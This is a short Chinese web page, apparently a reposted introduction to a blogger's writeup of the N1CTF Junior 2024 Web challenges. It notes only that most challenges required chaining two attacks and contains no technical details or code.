小北觉得这一次的N1 Junior的题大部分都有个共同性,就是二次思维,也就是单次Attack无法达到利用,那就double attack!!!

转载请说明出处内容投诉
CSS教程_站长资源网 » N1CTF Junior 2024 Web Official Writeup(Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team,可是小北是大二生,抱着玩玩的心态来的)

发表评论

欢迎 访客 发表评论

一个令你着迷的主题!

查看演示 官网购买